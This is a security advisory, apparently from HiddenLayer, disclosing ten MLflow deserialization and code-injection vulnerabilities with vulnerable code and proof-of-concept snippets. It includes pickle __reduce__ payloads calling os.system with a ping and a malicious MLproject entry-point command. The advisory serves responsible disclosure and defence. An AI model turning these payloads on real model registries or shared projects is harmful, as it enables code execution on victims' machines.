• Platform
    • AISec Platform
    • Automated Red Teaming for AI
    • AI Detection & Response
    • Model Scanner
  • Solutions
    • Finance
    • Public Sector
    • Tech
  • Services
  • Learn
    • Innovation Hub
    • Insights
    • Research
    • Reports and Guides
    • SAI Security Advisory
  • Partner
    • Go-To-Market Partner
    • Technology Alliance
    • Apply
  • Company
    • About
    • In the News
  • Book a Demo
  • Platform
    • AISec Platform
    • Automated Red Teaming for AI
    • AI Detection & Response
    • Model Scanner
  • Solutions
    • Finance
    • Public Sector
    • Tech
  • Services
  • Learn
    • Innovation Hub
    • Insights
    • Research
    • Reports and Guides
    • SAI Security Advisory
  • Partner
    • Go-To-Market Partner
    • Technology Alliance
    • Apply
  • Company
    • About
    • In the News
  • Book a Demo

MLflow Vulnerability Report

June 4, 2024

Cloudpickle and Pickle Load on Sklearn Model Load Leading to Code Execution

CVE Number

CVE-2024-37052

CVE-2024-37053

Summary

A deserialization vulnerability exists in the sklearn/__init__.py file, within the function _load_model_from_local_file. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.1.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the sklearn/__init__.py file, within the function _load_model_from_local_file. This is called when the mlflow.sklearn.load_model function is called.

def _load_model_from_local_file(path, serialization_format):
    ...
    with open(path, "rb") as f:...
   		 if serialization_format == SERIALIZATION_FORMAT_PICKLE:
   			 return pickle.load(f)
   		 elif serialization_format == SERIALIZATION_FORMAT_CLOUDPICKLE:
   			 import cloudpickle
   			 return cloudpickle.load(f)

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a model. The attacker can then call the sklearn.log_model() function to serialize this model and log it to the tracking server. By default, cloudpickle.load is used on deserialization when the model is loaded. The serialization format can be set to ‘pickle’ when the model is logged in order to force the use of pickle.load() when the model is loaded. In the below example, the pickle object has been injected into the init method of the ElasticNet class.

with mlflow.start_run():
    	lr = ElasticNet(alpha=alpha, l1_ratio=l1_ratio, random_state=42)
    	lr.fit(train_x, train_y)

    	...

    	# Either upload model which will use default format of cloudpickle
mlflow.sklearn.log_model(lr, artifact_path="model", registered_model_name="SklearnPickleDefault")

# Or upload model and set serialiazation format to pickle
mlflow.sklearn.log_model(lr, artifact_path="model", registered_model_name="SklearnPickleDefault", serialization_format='pickle'
)

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/SklearnPickleDefault/1"
loaded_model = mlflow.sklearn.load_model(logged_model, dst_path='/tmp/sklearn_model')

Cloudpickle Load on PyFunc Model Load Leading to Code Execution

CVE Number

CVE-2024-37054

Summary

A deserialization vulnerability exists within the mlflow/pyfunc/model.py file, within the function _load_pyfunc. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 0.9.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/pyfunc/model.py file, within the function _load_context_model_and_signature. This is called when the mlflow.pyfunc.load_model function is called.

def _load_context_model_and_signature(
	model_path: str, model_config: Optional[Dict[str, Any]] = None
):
	...
	with open(os.path.join(model_path, python_model_subpath), "rb") as f:
    		python_model = cloudpickle.load(f)

An attacker can exploit this by creating a wrapper for a pmdarima model that contains malicious code and use the mlflow.pyfunc.log_model() to log this to the target MLflow server.

class PmdarimaWrapper(mlflow.pyfunc.PythonModel):
	def __init__(self):
    	import os

    	class RunCommand:
        	def __reduce__(self):
            	return (os.system, ('ping -c 4 8.8.8.8',))

    	self.command = RunCommand()
...

# Log the model
with mlflow.start_run():
	wrapper = PmdarimaWrapper()
	mlflow.pyfunc.log_model(
    		artifact_path="model",
    		python_model=wrapper,
    		registered_model_name="PyfuncPickleTest"
	)

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/PyfuncPickleTest/1"
loaded_model = mlflow.pyfunc.load_model(logged_model, dst_path='/tmp/pyfunc_model')

Pickle Load on Pmdarima Model Load Leading to Code Execution

CVE Number

CVE-2024-37055

Summary

A deserialization vulnerability exists within the pmdarima/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.24.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the pmdarima/__init__.py file, within the function _load_model. This is called when the mlflow.pmdarima.load_model function is called.

def _load_model(path):
	with open(path, "rb") as pickled_model:
    		return pickle.load(pickled_model)

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a model. The attacker can then call the pmdarima.log_model() function to serialize this model and log it to the tracking server. In the below example, the malicious pickle object has been injected into the init method within the _PmdarimaModelWrapper class in the file pmdarima/__init__.py, which is called through the auto_arima function. Before logging the model, editing the save_model function to force MLflow to pickle the attacker’s model is also required.

with mlflow.start_run():
	# Create the model
	model = pmdarima.auto_arima(train["sales"], seasonal=True, m=12)
	...
	# Log model
	mlflow.pmdarima.log_model(model, ARTIFACT_PATH, registered_model_name="PmdarimaTestModel")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/PmdarimaTestModel/1"
loaded_model = mlflow.pmdarima.load_model(logged_model, dst_path='/tmp/pmdarima_model')

Cloudpickle Load on LightGBM SciKit Learn Model Leading to Code Execution

CVE Number

CVE-2024-37056

Summary

A deserialization vulnerability exists within the mlflow/lightgbm/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.23.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/lightgbm/__init__.py file, within the function _load_model. This is called when the mlflow.lightgbm.load_model function is called.

def _load_model(path):
	...
	if model_class == "lightgbm.basic.Booster":
    		import lightgbm as lgb
    		model = lgb.Booster(model_file=lgb_model_path)
	else:
    	# LightGBM scikit-learn models are deserialized using Cloudpickle.
    	import cloudpickle
    	with open(lgb_model_path, "rb") as f:
        	model = cloudpickle.load(f)

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a LightGBM sci-kit learn model. The attacker can then call the lightgbm.log_model() function to serialize this model and log it to the tracking server. In the below example, the malicious pickle object has been injected into the init method of the LGBMModel class within the lightgbm/sklearn.py file.

# Create and train a LightGBM model
model = lgb.LGBMClassifier()
model.fit(X_train, y_train)
...

# Start an MLflow run
with mlflow.start_run():
	...
	# Log the LightGBM model
	mlflow.lightgbm.log_model(model, "model", registered_model_name="LightGBMSklearnPickle")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/LightGBMSklearnPickle/1"
loaded_model = mlflow.lightgbm.load_model(logged_model, dst_path='/tmp/lightgbm_model')

Cloudpickle Load on TensorFlow Keras Model Leading to Code Execution

CVE Number

CVE-2024-37057

Summary

A deserialization vulnerability exists within the mlflow/tensorflow/__init__.py file, within the function _load_custom_objects. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 2.0.0rc0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

This vulnerability exists within the mlflow/tensorflow/__init__.py file, within the function _load_custom_objects. This is called when the mlflow.tensorflow.load_model function is called.

def _load_custom_objects(path, file_name):
	custom_objects_path = None
	if os.path.isdir(path):
    	if os.path.isfile(os.path.join(path, file_name)):
        	custom_objects_path = os.path.join(path, file_name)
	if custom_objects_path is not None:
    	import cloudpickle
    	with open(custom_objects_path, "rb") as f:
        	return cloudpickle.load(f)

An attacker can exploit this by creating a custom function containing a pickle object that will execute arbitrary code when deserialized and adding it under the custom_objects parameter when calling the model.tensorflow.log_model() function to log the model to the server.

# Add the custom object to be pickled
def create_pickle():
	import os
	class RunCommand:
    	def __reduce__(self):
        	return (os.system, ('ping -c 4 8.8.8.8',))
	return RunCommand()
...

# Build and Compile the Model
model = Sequential([
	Dense(10, activation='relu', input_shape=(4,)),
	Dense(10, activation='relu'),
	Dense(3, activation='softmax')
])
...

# Log the Model
with mlflow.start_run():
	mlflow.tensorflow.log_model(model, "model", custom_objects={'PickleFunction': create_pickle()}, registered_model_name="TensorFlowKerasPickle")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/TensorFlowKerasPickle/1"
loaded_model = mlflow.tensorflow.load_model(logged_model, dst_path='/tmp/tensorflow_model')

Cloudpickle Load on Langchain AgentExecutor Model Load Leading to Code Execution

CVE Number

CVE-2024-37058

Summary

A deserialization vulnerability exists within the mlflow/langchain/utils.py file, within the function _load_from_pickle. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 2.5.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/langchain/utils.py file, within the function _load_from_pickle. This is called when the mlflow.langchain.load_model function is called.

def _load_from_pickle(path):
	with open(path, "rb") as f:
    		return cloudpickle.load(f)

An attacker can exploit this by building an AgentExecutor with Tools specially crafted to trigger the below elif statement within the _save_base_lcs function of the same utils.py file. The attacker could alter the code within this method, crafting a pickle object that will execute arbitrary code when deserialized and pass it to cloudpickle.dump().

elif isinstance(model, langchain.agents.agent.AgentExecutor):
    	...

    	if model.tools:
        	tools_data_path = os.path.join(path, _TOOLS_DATA_FILE_NAME)
        	try:
            	class RunCommand:
                	def __reduce__(self):
                    	return (os.system, ('ping -c 4 8.8.8.8',))

            	command = RunCommand()
            	with open(tools_data_path, "wb") as f:
                	cloudpickle.dump(command, f)

This model can then be logged to the server at the specified tracking URI by calling the model.langchain.log_model() function. 

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/LangchainPickle/1"
loaded_model = mlflow.langchain.load_model(logged_model, dst_path='/tmp/langchain_model')

Cloudpickle Load on PyTorch Model Load Leading to Code Execution

CVE Number

CVE-2024-37059

Summary

A deserialization vulnerability exists within the mlflow/pytorch/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 0.5.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’).

Details

This vulnerability exists within the mlflow/pytorch/__init__.py file, within the function _load_model. This is called when the mlflow.pytorch.load_model function is called.

def _load_model(path, device=None, **kwargs):
	import torch
...

	if Version(torch.__version__) >= Version("1.5.0"):
    		pytorch_model = torch.load(model_path, **kwargs)
	else:
    	try:
        	pytorch_model = torch.load(model_path, **kwargs)

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a PyTorch model upon build. When logging the specially crafted PyTorch model with MLflow, the model will be serialized via PyTorch’s torch.save function. This will be deserialized during model load, as the _load_model function calls PyTorch’s torch.load function, which will lead to the execution of the arbitrary code on the victim machine.

class SimpleNet(nn.Module):
	def __init__(self, input_size, hidden_size, num_classes):
    	...
    	import os
    	class RunCommand:
        	def __reduce__(self):
            		return (os.system, ('ping -c 4 8.8.8.8',))

    	self.command = RunCommand()
	...

model = SimpleNet(input_size, hidden_size, num_classes)

with mlflow.start_run():
	mlflow.pytorch.log_model(model, "model", registered_model_name="PytorchTest")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/PytorchTest/1"
loaded_model = mlflow.pytorch.load_model(logged_model, dst_path='/tmp/pytorch_model')

Pickle Load on Recipe Run Leading to Code Execution

CVE Number

CVE-2024-37060

Summary

A deserialization vulnerability exists within the recipes/cards/__init__.py file within the class BaseCard, in the static method load. An attacker can create an MLProject Recipe containing a malicious pickle file (e.g. pickle.pkl) and a python script that calls BaseCard.load(pickle.pkl). The pickle file will be deserialized when the project is run leading to execution of the arbitrary code on the victim machine. 

Products Impacted

This vulnerability was introduced in version 1.27.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the recipes/cards/__init__.py file within the class BaseCard, in the static method load.

@staticmethod
def load(path):
    	if os.path.isdir(path):
        	path = os.path.join(path, CARD_PICKLE_NAME)
    	with open(path, "rb") as f:
        	return pickle.load(f)

An attacker can exploit this by creating an MLProject Recipe containing a pickle file that will execute arbitrary code when deserialized, along with code that calls BaseCard.load(pickle.pkl), pointing to the file pickle.pkl as shown below. The attacker could share this project with a victim, and when they attempt to run it, the pickle file will be deserialized and the arbitrary code executed on their machine. 

An example MLproject file:

name: RecipeTestingProject

conda_env: conda.yaml

entry_points:
	main:
    		command: "python recipe_card_pickle.py"

The snippet from recipe_card_pickle.py file that is responsible for calling the vulnerable function when the victim runs mlflow run. from within the recipe directory:

r = Recipe(profile="local")
r.run("ingest")
BaseCard.load("recipe_card.pkl")

Remote Code Execution on Local System via MLproject YAML File

CVE Number

CVE-2024-37061

Summary

A code injection vulnerability exists within the ML Project run procedure in the  _run_entry_point function, within the projects/backend/local.py file. An attacker can package an MLflow Project where the MLproject main entrypoint command contains arbitrary code (or an operating system appropriate command), which will be executed on the victim machine when the project is run.

Products Impacted

This vulnerability was introduced in version 1.11.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’).

Details

The vulnerability exists within the ML Project run procedure in the  _run_entry_point function, within the projects/backend/local.py file.

def _run_entry_point(command, work_dir, experiment_id, run_id):
	...
	if os.name != "nt":
    		process = subprocess.Popen(["bash", "-c", command], close_fds=True, cwd=work_dir, env=env)
	else:
    		process = subprocess.Popen(["cmd", "/c", command], close_fds=True, cwd=work_dir, env=env)

An attacker can exploit this by creating an MLflow Project where the MLproject main entrypoint command contains arbitrary code (or an operating system appropriate command). The attacker could share this project with a victim, and when the victim runs mlflow run. from within the recipe directory, the code will be executed on the victim machine. 

An example MLproject file:

name: RecipeTestingProject

conda_env: conda.yaml

entry_points:
	main:
    		command: "python -c 'import os; os.system(\"ping -c 4 8.8.8.8\")'"

Timeline

December 20, 2023 — vendor disclosure via process outlined in SECURITY.md

January 15, 2024 — follow up email sent to vendor

January 29, 2024 — follow up email sent to vendor

February 13, 2024 — followed up with vendor over LinkedIn

February 22, 2024 — followed up with vendor over LinkedIn

February 27, 2024 — vendor acknowledged receipt

March 04, 2024 — follow up email sent to vendor

March 18, 2024 — follow up email sent to vendor 

March 19, 2024 — grace period for response and patching passed

March 21, 2024 — followed up with vendor over LinkedIn

May 30, 2024 — followed up with vendor letting them know we plan to publish on 04 June 2024

June 04, 2024 — public disclosure

Project URL

https://mlflow.org/
https://github.com/mlflow/mlflow

Researcher: Kieran Evans, Principal Security Researcher, HiddenLayer
Researcher: Kasimir Schulz, Principal Security Researcher, HiddenLayer

HiddenLayer, a Gartner recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise’s AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Book a Demo
  • Platform
  • Solutions
  • Services
  • Learn
  • Partner
  • Company
  • Careers
  • Contact

© 2025 HiddenLayer

AICPA SOC logo

Security Privacy Policy  Vulnerability Disclosure Policy Sitemap 

  • Twitter
  • Linkedin
Scroll to top